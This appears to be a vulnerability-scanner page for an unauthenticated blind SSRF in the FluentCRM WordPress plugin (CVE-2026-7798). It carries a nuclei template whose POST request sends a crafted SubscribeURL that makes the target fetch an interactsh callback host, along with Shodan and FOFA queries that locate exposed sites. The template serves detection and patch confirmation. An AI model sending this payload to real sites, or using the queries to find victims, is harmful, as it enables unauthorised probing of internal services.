WordPress FluentCRM <= 2.9.87 - Unauthenticated Blind SSRF

mediumseverity

5.4CVSS score

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

FluentCRM WordPress plugin <= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.

Impact

Unauthenticated attackers can make arbitrary internal web requests, potentially querying or modifying internal service information.

Fix

Update to a version later than 2.9.87 or the latest available version.

How to confirm it

Send: GET /wp-content/plugins/fluent-crm/readme.txt
Positive when: status_code == 200 and contains(body, "FluentCRM") and compare_versions(version, "<= 2.9.87")
Send: POST /?fluentcrm=1&route=bounce_handler&provider=ses
Positive when: contains(interactsh_protocol, "http") and status_code == 200 and contains(body, "success")

Run it with nuclei: nuclei -id CVE-2026-7798 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-7798

info:
  name: WordPress FluentCRM <= 2.9.87 - Unauthenticated Blind SSRF
  author: 0x_Akoko
  severity: medium
  description: |
    FluentCRM WordPress plugin <= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.
  impact: |
    Unauthenticated attackers can make arbitrary internal web requests, potentially querying or modifying internal service information.
  remediation: |
    Update to a version later than 2.9.87 or the latest available version.
  reference:
    - https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-7798
    - https://wordpress.org/plugins/fluent-crm/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2026-7798
    epss-score: 0.00695
    epss-percentile: 0.53317
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 2
    publicwww-query: "wp-content/plugins/fluent-crm"
    fofa-query: body="fluent-crm"
    shodan-query: http.html:"fluent-crm"
  tags: cve,cve2026,wordpress,wp-plugin,fluentcrm,ssrf,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/fluent-crm/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "FluentCRM")'
          - 'compare_versions(version, "<= 2.9.87")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '(?i)Stable tag:\s*([\w.]+)'
        group: 1
        internal: true

  - raw:
      - |
        POST /?fluentcrm=1&route=bounce_handler&provider=ses HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"Type":"SubscriptionConfirmation","SubscribeURL":"http://{{interactsh-url}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from